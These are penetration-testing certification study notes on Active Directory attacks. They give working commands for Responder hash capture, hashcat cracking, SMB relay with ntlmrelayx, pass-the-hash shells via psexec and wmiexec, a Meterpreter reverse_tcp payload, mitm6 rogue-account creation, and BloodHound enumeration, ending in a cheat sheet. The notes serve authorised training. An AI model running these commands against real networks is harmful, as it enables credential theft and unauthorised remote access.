

PNPT CERTIFICATION NOTES

Active Directory Attack Techniques

Practical Network Penetration Tester

⚠ WARNING These notes are for authorised ethical hacking study only. Only test on networks and systems you have explicit written permission to test.

1. Setup & Tools

1.1 Required Tools

Ensure the following are installed and up-to-date before starting any AD assessment:

Tool	Purpose
PimpMyKali	Script that installs/updates all common pentesting tools on Kali Linux
Responder	LLMNR/NBT-NS/mDNS poisoner — captures NetNTLM hashes on local network
Impacket	Suite of Python scripts: ntlmrelayx, psexec, wmiexec, smbexec, etc.
mitm6	IPv6 MITM attack tool — exploits Windows preferring IPv6 DNS
BloodHound	AD relationship mapper — finds attack paths to Domain Admin
Neo4j	Graph database backend required by BloodHound
Hashcat	GPU-accelerated password cracker
Metasploit	Exploitation framework — includes psexec module
Idapdomaindump	Dumps AD users, groups and computers via LDAP to HTML/JSON

1.2 Wordlists

- Primary: /usr/share/wordlists/rockyou.txt
- Also use: Rainbow tables for pre-computed hash lookups

💡 TIP Run 'sudo gunzip /usr/share/wordlists/rockyou.txt.gz' if rockyou is still compressed.

2. LLMNR / NBT-NS Poisoning with Responder

What is it?

LLMNR (Link-Local Multicast Name Resolution) and NBT-NS are Windows fallback protocols used when DNS fails. Responder listens on the network and responds to these broadcast queries, tricking Windows machines into authenticating against your machine — sending you their NetNTLM hashes.

Attack Steps

Step 1 Run Responder

Replace wlan0 with your active network interface (use 'ip a' to check).

```
sudo responder -I wlan0 -dwPv

# Flag reference:
# -I Network interface
# -d Enable DHCP poisoning
# -w Enable WPAD (Web Proxy Auto-Discovery) server
# -P Force NTLM auth on proxy
# -v Verbose output
```

Step 2 Wait & Capture Hash

Leave Responder running. When a victim machine on the network sends a name-resolution request, Responder intercepts it and captures the NetNTLM hash. The hash will appear in the terminal output.

 **TIP** Hashes are also saved automatically to /usr/share/responder/logs/

Step 3 Save the Hash

Copy the captured hash into a text file for cracking:

```
nano hashes.txt
# Paste the full hash line (e.g. fcastle::MARVEL:...)
# Save: Ctrl+O | Exit: Ctrl+X
```

Step 4 Identify Hash Type

Use hashcat's built-in list to confirm the mode number:

```
hashcat --help | grep NTLM

# Typical results:
# 5600 | NetNTLMv2 (most common in modern Windows)
```

```
# 5500 | NetNTLMv1
```

Step 5 Crack the Hash

Run hashcat with the appropriate mode:

```
# NTLMv2 (mode 5600) - most common
hashcat -m 5600 hashes.txt /usr/share/wordlists/rockyou.txt --show -O

# NTLMv1 (mode 5500)
hashcat -m 5500 hashes.txt /usr/share/wordlists/rockyou.txt --show -O

# Flag reference:
# -m Hash mode
# --show Display cracked results
# -O Optimise kernel (faster, slight reduction in max password length)
```

 **TIP** If hashcat can't crack it, try a larger wordlist or add rule files: -r /usr/share/hashcat/rules/best64.rule

3. SMB Relay Attack

What is it?

Instead of cracking a captured hash, an SMB relay attack forwards (relays) the authentication directly to another machine. If the authenticating user has local admin rights on the target, you get access immediately — no cracking needed.

 **REQUIREMENT** SMB Signing must be DISABLED or NOT REQUIRED on the target for this attack to work.

Attack Steps

Step 1 Check if SMB Relay is Possible

Scan for hosts with SMB signing disabled:

```
# Single host
nmap --script=smb2-security-mode.nse -p445 <TARGET_IP>

# Full subnet scan
nmap --script=smb2-security-mode.nse -p445 10.0.0.0/24

# Look for: 'Message signing enabled but not required'
# That means the host is VULNERABLE
```

Save vulnerable targets to a file:

```
# Add each vulnerable IP on its own line
nano targets.txt
10.0.0.25
10.0.0.30
```

Step 2 Disable SMB & HTTP in Responder

Responder must NOT handle SMB/HTTP — ntlmrelayx will do that instead:

```
sudo mousepad /etc/responder/Responder.conf

# Change these two lines:
SMB = Off
HTTP = Off
```

Step 3 Run Responder (Poisoner Only)

```
sudo responder -I wlan0 -dwP
```

Step 4 Run ntlmrelayx (Relay Tool)

Open a new terminal tab and run the relay:

```
# Dump SAM hashes (default)
sudo ntlmrelayx.py -tf targets.txt -smb2support

# OR get an interactive shell
sudo ntlmrelayx.py -tf targets.txt -smb2support -i
```

Step 5 Capture Hashes or Connect to Shell

When a victim authenticates, ntlmrelayx relays to a target. If using default mode, SAM hashes are dumped to the terminal. If using -i (interactive) mode:

```
# Connect to the interactive SMB shell (check terminal for port)
nc 127.0.0.1 11000

# Now you have an SMB shell on the target
help
shares
use C$
```

4. Gaining Shells

4.1 Metasploit — psexec Module

Use captured credentials or hashes to get a Meterpreter shell:

```
msfconsole
search psexec
use exploit/windows/smb/psexec
options

# Configure:
set payload windows/x64/meterpreter/reverse_tcp
set RHOSTS 10.0.0.25
set smbdomain MARVEL.local
set smbuser fcastle
set smbpass Password1

# If using a hash instead of password:
# unset smbdomain
# set smbuser administrator
# set smbpass <PASTE LM:NT HASH HERE>

show targets
run
```

Session management:

```
background      # Background the current session
sessions        # List all active sessions
sessions 1      # Interact with session 1
```

4.2 Impacket — psexec.py

Lightweight alternative — no Metasploit required:

```
# Using a password
psexec.py marvel.local/fcastle:'Password1'@10.0.0.25

# Using a hash (Pass-the-Hash)
psexec.py administrator@10.0.0.25 -hashes LM:NT
```

4.3 Other Impacket Shells

Alternative execution methods — useful when psexec is detected or blocked:

```
# WMI execution (quieter than psexec)
wmiexec.py administrator@10.0.0.25 -hashes LM:NT

# SMB execution
smbexec.py administrator@10.0.0.25 -hashes LM:NT
```

 **TIP** wmiexec is often preferred as it leaves fewer traces than psexec and does not create a service on the target.

5. IPv6 Attack with mitm6

What is it?

Windows prefers IPv6 over IPv4 by default. mitm6 advertises itself as the IPv6 DNS server for the network, redirecting authentication traffic. Combined with ntlmrelayx, this can be used to create rogue Domain Admin accounts or computer objects in Active Directory — even if LLMNR/NBT-NS is disabled.

Setup

```
cd /opt/mitm6
sudo pip2 install .
```

Attack Steps

Step 1 Start ntlmrelayx First (New Tab)

Point it at the Domain Controller's LDAPS interface:

```
ntlmrelayx.py -6 \
  -t ldaps://192.168.138.132 \
  -wh fakewpad.marvel.local \
  -l lootme

# -6          Listen on IPv6
# -t          Target (DC LDAPS address)
# -wh         Rogue WPAD hostname
# -l lootme   Dump loot to 'lootme' directory
```

Step 2 Start mitm6 (Original Tab)

```
sudo mitm6 -d marvel.local

# Let it run — do NOT press Enter again
# mitm6 will respond to DHCPv6 requests and set itself as IPv6 DNS
```

Step 3 Wait for Authentication Events

When a machine reboots, a user logs in, or Group Policy refreshes, authentication traffic flows through your machine. Watch ntlmrelayx output for messages like:

```
# Success messages to look for:
```

```
[*] HTTPD: Received connection from ...  
[*] Adding new user: MARVEL\COMPROMISED_USER$  
[*] User added successfully!  
  
# OR computer account creation  
[*] Delegation rights modified successfully!
```

Step 4 Review Loot

Open the lootme folder created by ntlmrelayx:

```
ls lootme/  
  
# Open the user group HTML for a quick overview  
firefox lootme/domain_users_by_group.html
```

 **TIP** The lootme folder contains JSON/HTML files listing domain users, computers, groups, trusts, and GPOs.

6. Passback Attack

What is it?

Multi-function printers (and other embedded devices) often store LDAP/SMB credentials to authenticate with Active Directory. If you can access the device's web admin panel, you can replace the authentication server address with your own IP, causing the device to send you its stored credentials.

Common targets: network printers, copiers, scanners, IP phones.

Full walkthrough reference:

<https://www.mindpointgroup.com/blog/how-to-hack-through-a-pass-back-attack>

 **TIP** Passback attacks often yield service account credentials that have broad AD access. Always check these against other systems.

7. Domain Enumeration with Idapdomaindump

What is it?

Idapdomaindump authenticates to Active Directory via LDAP and dumps users, groups, computers, and policies into readable HTML and JSON files. Requires valid domain credentials.

Usage

Step 1 Create a Working Directory

```
mkdir marvel.local  
cd marvel.local
```

Step 2 Run ldapdomaindump

Replace the IP with your Domain Controller's IP address:

```
sudo ldapdomaindump ldaps://192.168.138.136 \  
-u 'MARVEL\fcastle' \  
-p Password1  
  
# Output files created:  
# domain_users.html / .json  
# domain_groups.html / .json  
# domain_computers.html / .json  
# domain_policy.html / .json  
# domain_users_by_group.html
```

Step 3 Review Results in Browser

```
firefox domain_users_by_group.html  
  
# Look for:  
# - Users in Domain Admins group  
# - Service accounts  
# - Accounts with 'Password never expires'  
# - Admin equivalent groups
```

8. Domain Enumeration with BloodHound

What is it?

BloodHound maps Active Directory relationships as a graph, revealing attack paths to Domain Admin that are invisible to traditional enumeration. It uses a Neo4j graph database and a web UI to visualise attack paths.

Installation

```
sudo pip install bloodhound
```


Usage

Step 1 Start Neo4j Database

```
sudo neo4j console

# Note the server address shown (usually http://localhost:7474)
# Default credentials if first time:
#   Username: neo4j
#   Password: neo4j (you will be prompted to change it)
```

Step 2 Launch BloodHound UI

Open a new terminal tab:

```
sudo bloodhound

# Login with your neo4j credentials
# Username: neo4j
# Password: <the password you set>
```

Step 3 Collect AD Data

Open another new terminal tab and run the collector:

```
mkdir bloodhound_data
cd bloodhound_data

sudo bloodhound-python \
  -d MARVEL.local \
  -u fcastle \
  -p Password1 \
  -ns 192.168.138.132 \
  -c all

# -d   Domain name
# -u   Username
# -p   Password
# -ns  DNS server (usually the Domain Controller IP)
# -c   Collection method (all = everything)
```

Step 4 Import Data into BloodHound

In the BloodHound web interface:

- Click the Upload Data button (top right)
- Select all JSON files from your bloodhound_data folder
- Wait for import to complete

Step 5 Analyse Attack Paths

Use the Analysis menu to run pre-built queries:

```
# Key queries to run:
Find All Domain Admins
Shortest Paths to Domain Admins
Find Principals with DCSync Rights
Find Computers with Unconstrained Delegation
Find AS-REP Roastable Users
Find Kerberoastable Users

# Use the search bar to investigate specific users/computers
```

 **TIP** Right-click any node in the graph to see attack options and mark it as 'Owned' as you progress through the engagement.

9. Quick Reference — Attack Cheatsheet

Use this table as a fast lookup during engagements:

Attack	Tool / Command	Notes
LLMNR Poisoning	responder -I eth0 -dwPv	Requires broadcast traffic on LAN
Hash Cracking (v2)	hashcat -m 5600 hash.txt rockyou.txt	NTLMv2 — most common
Hash Cracking (v1)	hashcat -m 5500 hash.txt rockyou.txt	NTLMv1 — less common
SMB Relay	ntlmrelayx.py -tf targets.txt -smb2support	SMB signing must be off/not required
Interactive Shell	ntlmrelayx ... -i then nc 127.0.0.1 11000	Gives SMB shell on target
MSF psexec	use exploit/windows/smb/psexec	Works with password or hash
Impacket psexec	psexec.py domain/user:'pass'@IP	Lightweight alternative
Pass-the-Hash	psexec.py admin@IP -hashes LM:NT	No cracking needed
IPv6 MITM	mitm6 -d domain.local	Combine with ntlmrelayx -6
LDAP Dump	ldapdomaindump ldaps://DC -u 'DOM\user' -p pass	Needs valid creds
BloodHound Collect	bloodhound-python -d DOM -u user -p pass -c all	Needs valid creds